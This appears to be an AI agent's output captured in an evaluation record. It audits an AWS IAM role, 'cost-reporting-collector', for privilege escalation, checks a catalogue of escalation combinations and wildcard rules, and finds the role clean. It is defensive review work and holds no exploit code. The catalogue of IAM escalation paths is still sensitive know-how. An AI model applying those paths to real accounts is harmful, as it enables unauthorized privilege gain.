"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/cost-reporting-collector`\n\n**Principal:** `role/cost-reporting-collector`\n**Input:** 2 permissions policies (4 statements total), 1 trust policy (1 statement)\n\n---\n\n## Step 1 \u2014 Effective Permission Set\n\nUnioning all Allow statements, with no Deny statements present anywhere:\n\n| Action | Resource | Condition |\n|---|---|---|\n| `sts:AssumeRole` | `arn:aws:iam::905512347781:role/external-cost-auditor` | `sts:ExternalId = vendor-cost-auditor-prod` AND `aws:PrincipalOrgID = o-9f3kxample` |\n| `ce:GetCostAndUsage` | `*` | none |\n| `ce:GetCostForecast` | `*` | none |\n| `cur:DescribeReportDefinitions` | `*` | none |\n| `s3:GetObject` | `arn:aws:s3:::cost-reports-export/*` | none |\n| `s3:ListBucket` | `arn:aws:s3:::cost-reports-export` | none |\n| `budgets:ViewBudget` | `*` | none |\n| `budgets:DescribeBudgetActionsForBudget` | `*` | none |\n\nNo `Deny` statements exist in either permissions policy. No permissions boundary was supplied.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n**E1 (PassRole + compute-launch):** `iam:PassRole` is not granted anywhere in the effective set. E1 does not apply.\n\n**E2 (policy rewrite in place):** `iam:CreatePolicyVersion` / `iam:SetDefaultPolicyVersion` are absent. E2 does not apply.\n\n**E3 (function code hijack):** `lambda:UpdateFunctionCode` is absent. E3 does not apply.\n\n**E4 (self-attach admin policy):** `iam:AttachUserPolicy` / `iam:AttachRolePolicy` / `iam:PutRolePolicy` and equivalents are absent. E4 does not apply.\n\n**E5 (trust-policy rewrite + assume):** `iam:UpdateAssumeRolePolicy` is absent. Even though `sts:AssumeRole` is granted, E5 requires the rewrite half. E5 does not apply.\n\n**E6 (credential minting for another identity):** `iam:CreateAccessKey` / `iam:CreateLoginProfile` / `iam:AddUserToGroup` and equivalents are absent. E6 does not apply.\n\n**`sts:AssumeRole` \u2014 is this a standalone escalation?**\nPer the methodology, a standalone `sts:AssumeRole` grant is not an in-account privilege escalation. This grant targets a specific, named cross-account role (`arn:aws:iam::905512347781:role/external-cost-auditor`) and is gated by two conditions (`sts:ExternalId = vendor-cost-auditor-prod` AND `aws:PrincipalOrgID = o-9f3kxample`). The target role's supplied trust policy mirrors those exact conditions on the same org and same ExternalId. Both sides of the handshake are locked to the same narrow gate. There is no `iam:UpdateAssumeRolePolicy` available to relax either side. This path is **inert as a self-escalation vector**; it is lateral movement to whatever `external-cost-auditor` can do in account `905512347781`, and even that movement is only possible to a principal already inside org `o-9f3kxample` presenting the correct ExternalId. No escalation finding is raised. (The grant is functional but constrained; see the boundary note below on the privileges of the target role.)\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n**W1 (`Action '*'` on `Resource '*'`):** Not present. No finding.\n\n**W3 (`Allow` + `NotAction`):** Not present. No finding.\n\n**W2 (service-level wildcard on a sensitive service):** No `svc:*` wildcards present on any sensitive service. No finding.\n\n**W4 (mutating actions on `Resource '*'`):** The only `Resource: \"*\"` grants are `ce:GetCostAndUsage`, `ce:GetCostForecast`, `cur:DescribeReportDefinitions`, `budgets:ViewBudget`, and `budgets:DescribeBudgetActionsForBudget`. These are all read-only billing and cost-management APIs with no mutating capability; resource-level scoping is not supported by Cost Explorer or Budgets read APIs in any meaningful way. W4 does not apply.\n\n**W5 (broad read on `Resource '*'` from the sensitive-data read set):** The `Resource: \"*\"` grants cover only Cost Explorer and Budgets read APIs. These are billing metadata \u2014 not the W5 sensitive-data set (`s3:GetObject`, `secretsmanager:GetSecretValue`, `kms:Decrypt`, `dynamodb:GetItem/Scan/Query`, `ssm:GetParameter(s)`). They are inventory/cost reads, explicitly excluded from W5. No finding.\n\n`s3:GetObject` and `s3:ListBucket` are present but are **scoped to a single named bucket** (`cost-reports-export` and `cost-reports-export/*`), not `Resource: \"*\"`. W5 requires `Resource: \"*\"`; these grants are correctly scoped. No finding.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nThe trust policy uses `Principal: { \"AWS\": \"*\" }` \u2014 a wildcard principal. This triggers an X1 review.\n\n**Is it narrowed by a condition?** Yes. The single statement carries:\n```\n\"StringEquals\": {\n \"aws:PrincipalOrgID\": \"o-9f3kxample\",\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n}\n```\n\nBoth conditions must be satisfied simultaneously. `aws:PrincipalOrgID` restricts the caller to principals within org `o-9f3kxample`, excluding every AWS principal outside that organization. `sts:ExternalId` adds a shared-secret gate against confused-deputy attacks. This is the standard cross-account vendor integration pattern. Per the methodology, a wildcard principal with an `aws:PrincipalOrgID` / `sts:ExternalId` condition is **fine and must not be flagged**.\n\n**X1: NO FINDING.** The wildcard is adequately narrowed by the dual condition.\n\n---\n\n## Findings Summary\n\n| # | Rule | Severity | Finding |\n|---|---|---|---|\n| \u2014 | \u2014 | \u2014 | No real escalation or over-broad grant identified. |\n\n**This policy is clean within the scope of the supplied documents.**\n\nThe apparent concern \u2014 a cross-account `sts:AssumeRole` on a role with a wildcard-principal trust policy \u2014 is neutralised by the dual-condition gate (`sts:ExternalId` + `aws:PrincipalOrgID`) applied consistently on both sides of the trust relationship, and by the absence of `iam:UpdateAssumeRolePolicy` to relax either side. There is no privilege-escalation path, no over-broad wildcard grant, and no open trust exposure.\n\nThe `s3` access in policy-2 is correctly scoped to a single bucket. The billing/cost reads on `Resource: \"*\"` are benign metadata APIs outside the W5 sensitive-data set.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are joins this audit cannot close from the supplied documents alone. They are not gaps in the analysis above; they are explicit limits of static single-principal policy review.\n\n1. **Privileges of the target role (`arn:aws:iam::905512347781:role/external-cost-auditor`).** The `sts:AssumeRole` path is condition-sealed and is not a self-escalation, but the target role's permissions live in account `905512347781` and were not supplied. If that role holds elevated permissions within the remote account, the cross-account movement is more consequential than the read-only context of this role suggests. Verify that `external-cost-auditor` is scoped to cost-reporting reads in the destination account.\n\n2. **Permissions boundary.** No permissions boundary was supplied for `role/cost-reporting-collector`. A boundary is the strongest single cap on what any Allow statement can actually grant. This audit cannot confirm that one exists or what it permits. For a cost-reporting role, a boundary explicitly denying IAM, STS mutation, and compute-launch actions would provide defense-in-depth.\n\n3. **Org SCPs.** Service Control Policies apply above the account level and can Deny actions this policy Allows (or, in the cross-account direction, can restrict what the target account permits). The org's SCPs were not supplied and are not visible from the policy documents. A SCP on account `905512347781` could further restrict what `external-cost-auditor` can do upon assumption.\n\n4. **Other attached policies.** This audit covers the two supplied permissions policies. If additional managed or inline policies are attached to `role/cost-reporting-collector` and were not supplied, the effective permission set is incomplete. Additional grants \u2014 particularly any IAM or STS mutation \u2014 could open escalation paths not visible here.",
"agent_chars": 7878,
"agent_s": 43.9,
"elapsed_s": 51.1
}
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